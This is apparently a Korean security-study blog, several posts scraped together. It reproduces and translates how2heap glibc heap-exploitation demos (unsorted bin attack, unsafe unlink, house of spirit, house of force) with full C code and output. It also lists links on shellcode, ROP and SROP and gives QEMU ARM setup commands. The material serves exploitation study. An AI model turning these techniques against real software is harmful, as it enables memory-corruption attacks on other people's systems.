#include "stdio.h"
#include "stdlib.h"

int main(){
	printf("This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
	printf("In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
		   "global variable global_max_fast in libc for further fastbin attack\n\n");

	unsigned long stack_var=0;
	printf("Let's first look at the target we want to rewrite on stack:\n");
	printf("%p: %ld\n\n", &stack_var, stack_var);

	unsigned long *p=malloc(400);
	printf("Now, we allocate first normal chunk on the heap at: %p\n",p);
	printf("And allocate another normal chunk in order to avoid consolidating the top chunk with"
           "the first one during the free()\n\n");
	malloc(500);

	free(p);
	printf("We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
		   "point to %p\n",(void*)p[1]);

	//------------VULNERABILITY-----------

	p[1]=(unsigned long)(&stack_var-2);
	printf("Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
	printf("And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

	//------------------------------------

	malloc(400);
	printf("Let's malloc again to get the chunk we just free. During this time, target should has already been "
		   "rewrite:\n");
	printf("%p: %p\n", &stack_var, (void*)stack_var);
}

This file demonstrates unsorted bin attack by write a large unsigned long value into stack

이 파일은 unsorted bin attack을 unsigned long vulue를 stack에 씀으로써 설명한다.


In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack

연습으로, unsorted bin attack은 일반적으로 추가공격을 위해 준비된다. libc안의 전역변수 global_max_fast을 다시써서 fastbin attack으로 사용하는 공격말이다.


unsigned long stack_var=0;


Let's first look at the target we want to rewrite on stack:

0x7ffdd1787990(stack_var의 주소): 0

먼저 우리가 스택위에 다시 쓰고자하는 target을 보자


unsigned long *p=malloc(400);

Now, we allocate first normal chunk on the heap at: 0x85f420

이제 우리는 첫번째 normal chunk를 0x85f420의 heap영역에 할당했따.


And allocate another normal chunk in order to avoid consolidating the top chunk with the first one during the free()

그리고 다른 normal chunk를 할당한다. free중에 첫번째 chunk와 통합한 top chunk를 피하기 위해

malloc(500); free(p);

We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7fb468becb58(*p[1])

우리는 이제 첫번째 chunk를 free한다. 그리고 이것은 unsorted bin으로 삽입될 것이다. 이것의 bk 포인터와 함께

p[1]=(unsigned long)(&stack_var-2);


Now emulating a vulnerability that can overwrite the victim->bk pointer

이제 victim의 bk pointer를 덮어쓰는 취약점을 애뮬레이팅하자


And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffdd1787980

그리고 우리는 이것을 targetaddress - 16의 값으로 쓴다(32bit 머신에서 이것은 targetaddress-8이 되야함)

malloc(400);

Let's malloc again to get the chunk we just free. During this time, target should has already been rewrite:

0x7ffdd1787990(&stack_var): 0x7fb468becb58

다시 우리가 방금 free햇던 chunk를 가져오기 위해 malloc을 하자

이번 동안에, target은 이미 rewrite되어있다.




'시스템 > how2heap시리즈' 카테고리의 다른 글

[how2heap 정리]fast_bin_dup_into_stack  (0) 2017.01.07
[how2heap 정리]fastbin_dup  (0) 2017.01.06
[how2heap]unsafe_unlink  (0) 2016.12.16
[how2heap정리]house of spirit  (0) 2016.12.16
[how2heap정리]house of force  (0) 2016.12.15

http://osxr.org:8080/glibc/ident?_i=printf&_remember=1

'시스템 > 리눅스 기본' 카테고리의 다른 글

백그라운드 실행 명령어  (0) 2016.10.20
objdump 사용법  (0) 2016.10.18
라이브러리 참조순서  (0) 2016.10.15
알아두면 좋은 명령어 모음  (0) 2016.10.13
gdb layout  (0) 2016.10.13

https://nets.ec/Ascii_shellcode

'시스템 > 시스템 해킹' 카테고리의 다른 글

pwndbg.  (0) 2017.01.19
메모리 보호기법 RELRO  (0) 2017.01.10
arm 문법 블로그, 자료, arm ROP  (0) 2016.12.10
(문서)SROP-null0  (0) 2016.12.09
arm 환경 셋팅  (0) 2016.12.09



#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#include "stdint.h"


uint64_t *chunk0_ptr;

int main()
{
	printf("Welcome to unsafe unlink 2.0!\n");
	printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
	printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
	printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

	int malloc_size = 0x80; //we want to be big enough not to use fastbins
	int header_size = 2;

	printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
	printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
	printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

	printf("We create a fake chunk inside chunk0.\n");
	printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
	printf("We setup the 'next_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
	printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False\n");
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
	printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
	printf("Fake chunk bk: %p\n",(void*) chunk0_ptr[3]);

	printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
	printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
	printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
	chunk1_hdr[0] = malloc_size;
	printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
	printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n");
	chunk1_hdr[1] &= ~1;

	printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
	printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n");
	free(chunk1_ptr);

	printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;

	printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
	printf("Original value: %s\n",victim_string);
	chunk0_ptr[0] = 0x4141414142424242LL;
	printf("New Value: %s\n",victim_string);
}


<global> uint64_t *chunk0_ptr;

Welcome to unsafe unlink 2.0!

Tested in Ubuntu 14.04/16.04 64bit.


This technique can be used when you have a pointer at a known location to a region you can call unlink on.

unlink를 call할수 있는 영역의 알고잇는 위치에 포인터를 가지고 있을 때 이 기술은 사용될 수 있다.


The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.

가장 흔한 시나리오는 overflow되고 global pointer를 가지고 있는 취약한 buffer에서이다. 


int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;


The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.

이 연습의 포인트는 임의의 영역에 메모리를 쓰는데 도달하기 위해 free를 전역 변수chunk0_ptr 무너뜨리는데 사용하는 것이다.


chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
	


The global chunk0_ptr is at 0x602050, pointing to 0x876420

전역변수 chunk0_ptr은 0x602050(&chunk0_ptr)에 있고 0x876420(chunk0_ptr)을 가리키고 있다.


uint64_t *chunk1_hdr = chunk1_ptr - header_size;


The victim chunk we are going to corrupt is at 0x8764b0(chunk1_ptr)

우리가 무너뜨릴 목표 chunk는 0x8764b0에 있다.


We create a fake chunk inside chunk0.

우리는 가짜 chunk를 chunk0내부에 만든다.


We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.

우리는 가짜 chunk의 'next_free_chunk'(fd)를 &chunk0_ptr 근처를 가리키게 하여 P->fd->bk=P 가 되게한다.

chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);


We setup the 'next_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.

우리는 fake청크의 bk를 &chunk0_ptr 옆의 포인터로 세팅함으로써 P->bk->fd를 만든다.


With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False

이 setup으로 우리는  (P->fd->bk != P || P->bk->fd != P) != False 의 checking을 통과할 수 있다.

chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

Fake chunk fd: 0x602038(chunk0_ptr[2])


Fake chunk bk: 0x602040(chunk0_ptr[3])


We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.

uint64_t *chunk1_hdr = chunk1_ptr - header_size;

We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.

우리는 chunk0의 사이즈(chunk1에 저장되어있는)를 수축시킬 수 있다. 그래서 free는 chunk0이 우리가 위치시킨 fakechunk에 있다고 생각할 것이다. 


It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly

우리의 fake chunk는 정확하게 우리가 알고 있는 포인터에서 시작하고 우리가 그 청크를 수축시킬수 있다는 점이 중요하다

chunk1_hdr[0] = malloc_size;

If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: 0x80

만약 우리가 평범한 free된 chunk0를 가졌다면 chunk1.previous_size는 0x90이 될 것이다. 그러나 이것은 새 값 0x80을 가진다


We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.

우리는 우리의 fake chunk를 mark한다. chunk1의 'previous_in_use'를 false로 셋팅 함으로써

chunk1_hdr[1] &= ~1;

Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.

이제 우리는 chunk1을 free한다 그러면 역통합은 chunk0_ptr을 덮어 쓰며 우리의 fake chunk를 unlink할 것이다. 


You can find the source of the unlink macro at https://sourceware.org/git/?

unlink source의 macro는 다음 링크에서 볼수 있다. 

https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344


free(chunk1_ptr);


At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.

이 포인트에서 우리는 chunk0_ptr을 그자신을 임이의 위치의 포인터로 overwrite하는데 사용할 수 있다.

char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;

chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.

chunk0_ptr은 이제 우리가 원하는 곳을 가리킨다. 우리는 이것을 우리의 목표 문자열로 덮어쓸수 있다.


Original value: Hello!~

원래 값 : Hello!~

chunk0_ptr[0] = 0x4141414142424242LL;

New Value: BBBBAAAA�d�



'시스템 > how2heap시리즈' 카테고리의 다른 글

[how2heap 정리]fast_bin_dup_into_stack  (0) 2017.01.07
[how2heap 정리]fastbin_dup  (0) 2017.01.06
[how2heap정리] unsorted_bin_attack  (0) 2016.12.28
[how2heap정리]house of spirit  (0) 2016.12.16
[how2heap정리]house of force  (0) 2016.12.15




#include "stdio.h"
#include "stdlib.h"

int main()
{
	printf("This file demonstrates the house of spirit attack.\n");

	printf("Calling malloc() once so that it sets up its memory.\n");
	malloc(1);

	printf("We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
	unsigned long long *a;
	unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

	printf("This region must contain two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[7]);

	printf("This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
	printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
	fake_chunks[1] = 0x40; // this is the size

	printf("The chunk.size of the *next* fake region has be above 2*SIZE_SZ (16 on x64) but below av->system_mem (128kb by default for the main arena) to pass the nextsize integrity checks .\n");
	fake_chunks[9] = 0x2240; // nextsize

	printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
	printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
	a = &fake_chunks[2];

	printf("Freeing the overwritten pointer.\n");
	free(a);

	printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
	printf("malloc(0x30): %p\n", malloc(0x30));
}



This file demonstrates the house of spirit attack.

이 파일은 the house of sprit attack을 설명한다


Calling malloc() once so that it sets up its memory

malloc을 한번 호출해서 메모리를 설정하자

malloc(1);

We will now overwrite a pointer to point to a fake 'fastbin' region.

우리는 이제 가짜 'fastbin' 영역을 가리키는 포인터로 포인터를 overwrite할 것이다

unsigned long long *a;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

This region must contain two chunks. The first starts at 0x7ffd9453c718(&fake_chunk[1]) and the second at 0x7ffd9453c748(&fake_chunk[7].

이 영역은 반드시 두개의 chunk를 가진다. 첫번째는  0x7ffd9453c718(&fake_chunk[1])에서 시작 두번째는 0x7ffd9453c748(&fake_chunk[7]에서 시작


This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128). 

이 영역의 청크 사이즈는 fastbin 카테고리로 떨어지는 영역보다 큰 16바이트이상이어야한다(chunk data를 수용하기위해)


The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.

prev_inuse 플래그 비트는 fastbin-sized chunk를 위한 free로 인해 무시되어진다. 그러나 is_mapped 플래그와 non_main_arena 플래그는 문제를 일으킨다


... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. 

이것이 malloc 구현에서 사용된 내부크기로 반올림된 다음malloc요청의 사이즈가 되야한다. 

예 : x64에서 0x30-0x38은 모두 0x40으로 반올림되므로 끝에있는 malloc 매개 변수에 사용할 수 있다.

fake_chunks[1] = 0x40; // this is the size


The chunk.size of the *next* fake region has be above 2*SIZE_SZ (16 on x64) but below av->system_mem (128kb by default for the main arena) to pass the nextsize integrity checks .

다음 fake 영역의 청크사이즈는 2*SIZE_SZ(64에서 16바이트) 보다 커야한다. 그러나 av->system_mem(메인의 주영역의 기본값에 의한 128kb)보다는 작아야한다. nextsize의 무결성체크를 통과하기 위해서

fake_chunks[9] = 0x2240; // nextsize

Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7ffd9453c718(fake chunks[1]).

이제 우리는 우리의 포인터를 fake first chunk안에 있는 fake region의 주소로 덮어쓸 것이다.


... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.

이 청크와 관련된 영역의 메모리 주소가 할당된 16바이트여야함을 명심해라

a = &fake_chunks[2];

Freeing the overwritten pointer.

덮어쓴 포인터를 free한다

free(a);


Now the next malloc will return the region of our fake chunk at 0x7ffd9453c718(fake chunks[1]), which will be 0x7ffd9453c720(fake chunks[2])!

이제 다음 malloc은 0x7ffd9453c718(fake chunk[1])에 있는 우리의 fake chunk의 영역으로 갈것이다. 그리고 이것은 0x7ffd9453c720(Fake chunks[2])가 될 것이다.


printf("malloc(0x30): %p\n", malloc(0x30));

---->malloc(0x30): 0x7ffd9453c720




+추가

결국 이기법은 malloc으로 할당되는 영역을 heap이 아니라 다른영역으로 옮길수 있다는 것인데 이를 이용한 시나리오는

bss영역으로 옮겨서 leak, overwrite에 사용하거나 stack으로 옮겨서 rop하는 정도가 될 것 같다.

'시스템 > how2heap시리즈' 카테고리의 다른 글

[how2heap 정리]fast_bin_dup_into_stack  (0) 2017.01.07
[how2heap 정리]fastbin_dup  (0) 2017.01.06
[how2heap정리] unsorted_bin_attack  (0) 2016.12.28
[how2heap]unsafe_unlink  (0) 2016.12.16
[how2heap정리]house of force  (0) 2016.12.15




#include

"stdio.h" #include "stdint.h" #include "stdlib.h" #include "string.h" #include "stdint.h" #include "malloc.h" char bss_var[] = "This is a string that we want to overwrite."; int main(int argc , char* argv[]) { printf("\nWelcome to the House of Force\n\n"); printf("The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n"); printf("The top chunk is a special chunk. Is the last in memory " "and is the chunk that will be resized when malloc asks for more space from the os.\n"); printf("\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var); printf("Its current value is: %s\n", bss_var); printf("\nLet's allocate the first chunk, taking space from the wilderness.\n"); intptr_t *p1 = malloc(256); printf("The chunk of 256 bytes has been allocated at %p.\n", p1); printf("\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n"); int real_size = malloc_usable_size(p1); printf("Real size (aligned and all that jazz) of our allocated chunk is %d.\n", real_size); printf("\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n"); //----- VULNERABILITY ---- intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size); printf("\nThe top chunk starts at %p\n", ptr_top); printf("\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n"); printf("Old size of top chunk %#llx\n", *((unsigned long long int *)ptr_top)); ptr_top[0] = -1; printf("New size of top chunk %#llx\n", *((unsigned long long int *)ptr_top)); //------------------------ printf("\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n" "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n" "overflow) and will then be able to allocate a chunk right over the desired region.\n"); unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top; printf("\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n" "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); void *new_ptr = malloc(evil_size); printf("As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr); void* ctr_chunk = malloc(100); printf("\nNow, the next chunk we overwrite will point at our target buffer.\n"); printf("malloc(100) => %p!\n", ctr_chunk); printf("Now, we can finally overwrite that value:\n"); printf("... old string: %s\n", bss_var); printf("... doing strcpy overwrite with \"YEAH!!!\"...\n"); strcpy(ctr_chunk, "YEAH!!!"); printf("... new string: %s\n", bss_var); // some further discussion: printf("This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n"); printf("This because the main_arena->top pointer is setted to current av->top + malloc_size and we \nwant to set this result to the address of malloc_got_address-8\n\n"); printf("In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n"); printf("The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n"); printf("After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),and basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n"); //printf("The large chunk with evil_size has been allocated here 0x%08x\n",p2); //printf("The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address); printf("This last malloc will be served from the remainder code and will return the av->top+8 injected before\n"); }



Welcome to the House of Force


The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.

House of Force의 아이디어는 top chunk를 overwrite하고 malloc의 return을 임의의 값으로 바꾸는데 있다


The top chunk is a special chunk. Is the last in memory and is the chunk that will be resized when malloc asks for more space from the os.

top chunk 는 특별한 chunk이다. 메모리의 마지막에 있고 malloc이 os로부터 더 많은 공간을 요청할때 resize되는 청크이다


In the end, we will use this to overwrite a variable at 0x602060.

마지막에 우리는 이것을 0x602060에 있는 변수(bss영역에 할당한 전역변수)를 overwrite하는데 사용할 것이다.


Its current value is: This is a string that we want to overwrite.

현재의 값은 "This is a string that we want to overwrite"이다


Let's allocate the first chunk, taking space from the wilderness.

먼저 첫번째 chunk를 할당해보자, 이는 넓은 지역으로부터 공간을 할당한다.=

intptr_t *p1 = malloc(256);


The chunk of 256 bytes has been allocated at 0x2420420.

이 256바이트의 청크는 0x2420420에 할당됬다


Now the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.

이제 두개의 chunk로 구성된 힙 : 우리가 할당한 chunk와 top chunk


int real_size = malloc_usable_size(p1);

Real size (aligned and all that jazz) of our allocated chunk is 264.

우리가 할당한 chunk의 실제 크기 (정렬되고..?) 는 264바이트이다


Now let's emulate a vulnerability that can overwrite the header of the Top Chunk

이제 top chunk의 header를 overwrite하는 취약점을 에뮬레이트해보자

//----- VULNERABILITY ----
	intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);

The top chunk starts at 0x2420528

topchunk는 0x2420528에서 시작된다


Overwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.

top chunk size를 malloc이 mmap할수 없을만큼 엄청나게 큰수로 overwriting한다


Old size of top chunk 0x20ae1

topchunk의 이전 size는 0x20ae1

ptr_top[0] = -1;

New size of top chunk 0xffffffffffffffff

새로운 사이즈는 0xffffffffffffffff


The size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.

wilderness의 사이즈는 엄청크다. 우리는 mmap을 호출하는 malloc없이 무엇이든 할당할 수 있다.


Next, we will allocate a chunk that will get us right up against the desired region (with an integer

overflow) and will then be able to allocate a chunk right over the desired region.

다음으로, 우리는 우리를 바람직한 영역으로 데려다줄 한 청크를 할당한다. 

그리고 그 영역 바로 위에 청크를 할당할수 있게 된다.

unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;

The value we want to write to at 0x602060(bss변수 주소), and the top chunk is at 0x2420528, so accounting for the header size,

 we will malloc 0xfffffffffe1e1b28(evil_size) bytes.

우리가 쓰고 싶은 주소는 0x602060, top chunk의 주소는 0x2420528, header size를 계산하기 위해 우리는 0xfffffffffe1e1b28(evil_size)바이트를 할당한다


void *new_ptr = malloc(evil_size);

As expected, the new pointer is at the same place as the old top chunk: 0x2420530(new_ptr)

예상처럼 다음 포인터는 old top chunk와 같은 위치인 0x2420530에 있다.

void* ctr_chunk = malloc(100);

Now, the next chunk we overwrite will point at our target buffer.

이제 우리가 덮어쓸 그 다음청크가 우리의 타겟 버퍼의 포인터가 될것이다.


malloc(100) => 0x602060!(ctr_chunk)

ctr_chunk의 주소가 0x602060이 되었다.


Now, we can finally overwrite that value:

... old string: This is a string that we want to overwrite.

... doing strcpy overwrite with "YEAH!!!"...

이제 우리는 마침내 값을 덮어쓸 수 있다.



strcpy(ctr_chunk, "YEAH!!!");
printf("... new string: %s\n", bss_var);

... new string: YEAH!!!

새 string : YEAH


This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed

이 조작된 malloc은 malloc_got_address - 8 -p2_guessed로 호출된다.


This because the main_arena->top pointer is setted to current av->top + malloc_size and we want to set this result to the address of malloc_got_address-8

이것은 main_arena가 가리키는 top pointer가 현재 av->top+malloc_size로 설정되있기 때문이다. 그리고 우리는 이 결과를 malloc_got_address-8로 세팅하기를 원한다.


In order to do this we have malloc_got_address-8 = p2_guessed + evil_size

그러기 위해서 우리는 malloc_got_address - 8 = p2_guessed+ evil_size 를 가진다.


The av->top after this big malloc will be setted in this way to malloc_got_address-8

이커다란 malloc 후에 av->top은 malloc_got_address-8로 세팅될 것이다.


After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),and basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address

malloc을 새로 호출하면 이것은 av->top+8로 리턴될것이다(+8은 헤더때문에 붙는다) 그리고 기본적으로 malloc_got_address-8+8=malloc_got_address에 있는 청크로 리턴 할 것이다.


 //printf("The large chunk with evil_size has been allocated here 0x%08x\n",p2);
 //printf("The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);


This last malloc will be served from the remainder code and will return the av->top+8 injected before

이 마지막 malloc은코드의 나머지로부터 제공되고 이전에 inject된 av->top+8로 return할 것이다.






'시스템 > how2heap시리즈' 카테고리의 다른 글

[how2heap 정리]fast_bin_dup_into_stack  (0) 2017.01.07
[how2heap 정리]fastbin_dup  (0) 2017.01.06
[how2heap정리] unsorted_bin_attack  (0) 2016.12.28
[how2heap]unsafe_unlink  (0) 2016.12.16
[how2heap정리]house of spirit  (0) 2016.12.16

register 정리 블로그

http://egloos.zum.com/recipes/v/4986854


기본 문법

http://blog.naver.com/PostView.nhn?blogId=gangst11&logNo=145839687


arm ROP

http://zomo.herokuapp.com/blog/2015/09/17/rop-and-arm/


'시스템 > 시스템 해킹' 카테고리의 다른 글

메모리 보호기법 RELRO  (0) 2017.01.10
ascii shellcode 사이트  (0) 2016.12.23
(문서)SROP-null0  (0) 2016.12.09
arm 환경 셋팅  (0) 2016.12.09
integer overflow  (0) 2016.12.09

sigreturn을 이용한 ROP이다. 

SROP.pdf



나중에 참고하기 쉽게 구조체만 따로 적어놔야지



sigcontext.h 




'시스템 > 시스템 해킹' 카테고리의 다른 글

ascii shellcode 사이트  (0) 2016.12.23
arm 문법 블로그, 자료, arm ROP  (0) 2016.12.10
arm 환경 셋팅  (0) 2016.12.09
integer overflow  (0) 2016.12.09
use after free  (0) 2016.11.25

포너블 문제를 풀다보면 arm 환경의 문제가 나오기도 한다.

arm문제를 풀기위해 또는 연습할떄 arm 환경을 셋팅을 해놓으면 테스트에 좋다.


https://www.raspberrypi.org/forums/viewtopic.php?f=29&t=37386


https://github.com/dhruvvyas90/qemu-rpi-kernel


ftp://ftp.jaist.ac.jp/pub/raspberrypi/raspbian/images/2013-02-09-wheezy-raspbian/


처음에 좀 헤매서 물어보니 이 세 문서를 참고하면 된다고 조언을 받았는데


첫번째 공식 문서만 봐도 된다.


위는 라즈베리파이를 셋팅하는 방법이고


나는 armhf를 셋팅했다. 바이너리를 ldd명령어로 돌려보면 어떤 라이브러리를 사용하는지 나오는데 처음에 armel을 썼다가

라이브러리가 없어서 armhf로 셋팅했다 둘의 차이점은 실수연산을 하는 방법의 차이라고 한다.


https://forums.kali.org/showthread.php?18875-difference-between-armhf-and-armel



방법은

apt-get install qemu-system qemu

설치를 하고

부트로더 역할인 initrd와

커널을 받아줘야한다

wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress

wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2

이제 다음 명령어를 쳐준다

마지막에 tcp:2222:6492는

호스트의 2222포트를 qemu의 6292포트로 연결시킨다는 뜻이다

그러니까 qemu에서 6292포트를 열고

호스트에서 2222로 접속하면 qemu 6292로 접속이 된다는 것


qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -redir tcp:2222::6492


여기까지
armhf셋팅 방법 이었다!






********************
처음부터 끝까지 
잘정리된 문서
https://www.ece.cmu.edu/~ee349/f-2012/lab2/qemu.pdf


'시스템 > 시스템 해킹' 카테고리의 다른 글

arm 문법 블로그, 자료, arm ROP  (0) 2016.12.10
(문서)SROP-null0  (0) 2016.12.09
integer overflow  (0) 2016.12.09
use after free  (0) 2016.11.25
gdb peda 설치방법  (0) 2016.11.21

http://err0rless313.tistory.com/entry/%EB%AC%B8%EC%A0%9C%ED%92%80%EC%9D%B4%EB%A1%9C-%EB%B3%B4%EB%8A%94-Integer-Overflow-%EA%B8%B0%EB%B2%95

'시스템 > 시스템 해킹' 카테고리의 다른 글

(문서)SROP-null0  (0) 2016.12.09
arm 환경 셋팅  (0) 2016.12.09
use after free  (0) 2016.11.25
gdb peda 설치방법  (0) 2016.11.21
tip 정리  (0) 2016.11.18

+ Recent posts